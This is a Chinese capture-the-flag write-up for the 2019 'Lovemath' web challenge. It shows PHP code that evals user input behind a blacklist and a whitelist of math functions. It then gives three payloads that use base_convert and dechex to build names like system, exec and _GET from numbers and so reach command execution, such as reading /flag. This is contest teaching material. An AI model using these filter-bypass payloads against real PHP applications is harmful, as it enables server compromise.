2019国赛Web线上题目Lovemath多解WP

2019国赛Web线上题目Lovemath多解WP

题目质量很不错,这题整整做了七个小时,从一开始想着拿一血到后来的自闭。

题目代码

<?php 
error_reporting(0); 
//听说你很喜欢数学,不知道你是否爱它胜过爱flag 
if(!isset($_GET['c'])){ 
    show_source(__FILE__); 
}else{ 
    //例子 c=20-1 
    $content = $_GET['c']; 
    if (strlen($content) >= 80) { 
        die("太长了不会算"); 
    } 
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/m', $content)) { 
            die("请不要输入奇奇怪怪的字符"); 
        } 
    } 
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp 
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); 
    foreach ($used_funcs[0] as $func) { 
        if (!in_array($func, $whitelist)) { 
            die("请不要输入奇奇怪怪的函数"); 
        } 
    } 
    //帮你算出答案 
    eval('echo '.$content.';'); 

}

解题思路

代码有一个黑名单blacklist&白名单whitelist。黑名单肯定是绕不过去,虽然正则给了/m模式的情况下可以采用换行绕过,但是\r也在封杀范围所以直接pass。注意看whitelist后面的逻辑:正则匹配所有字母,用foreach逐个比对匹配的字母。
image_1d94aluchp6k1a607ht1ml2132q9.png-224.4kB

也就是说只允许Eval使用白名单的函数做字符串

所以思路就很明确,既然参数从白名单出来后被执行,那漏洞点肯定就在白名单的函数。由于正则匹配字母的规则,使我们传入的实参不能是字母,否则就会进入判断如下
image_1d9419hr91e511p621k4l177k1a5726.png-31.6kB

想办法把数字变成字母,再通过eval进行RCE。着眼于函数base_convert,官方描述如下
image_1d94aoodi184tdml1udl7q91b0gm.png-126.9kB

它允许我们将10进制数转换为最高36进制,结果为字符串。完美解决了数字到字母的转化,成功打印phpinfo如下
image_1d94ard4e1orte5mo6a1oj6hjj1j.png-396.7kB

POC-1

因为字符串长度限制,我最开始的想法是这样的:

$input = hexdec(bin2hex("system('cat /flag');"))
$result = base_convert(10进制编码字符串hex2bin,10,36)(dechex($input))

完整转换是这样:

base_convert(37907361743,10,36)(dechex(9148825951463535960001056079872))

但是由于bin2hex后转换出来的16进制数值过大,导致hexdec转换的int值很大无法正常被dechex还原而溢出。在赛后看到一种payload,很聪明的避免了大数溢出的情况,如下

base_convert(47138,20,36)(base_convert(3761671484,13,36)(dechex(474260465194)))

image_1d941nbdm171k17a3lhg16ii1knh3q.png-24.3kB

正好79个字母堪称完美…解码后的调用栈如下
47138->exec

POC-2

这个是看到ROIS队伍师傅的poc

$pi=base_convert;$pi(371235972282,10,28)(($pi(8768397090111664438,10,30))(){9})

解码出来是system(getallheaders(){9})

也是很聪明的解法。变量赋值pi减少长度,用getallheaders动态传入参数,之前在code puzzle中见过这样的用法

POC-3

这种就是比赛时我的解法。一种小数还原的思路。我们只需要构造_GET为16进制数,这个16进制转换出来的十进制就不会很大,自然在dechex也不会溢出。Payload如下,注意用白名单的值作为变量参数,否则还是会被waf

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){0}(($$p){1})

转换的调用栈如下:
image_1d94271vhpqtbtv1mk1v7upa047.png-32.8kB

直接发包给到C参数,成功getflag。
image_1d9427hgv862p0f8bluecra94k.png-83.5kB

not found!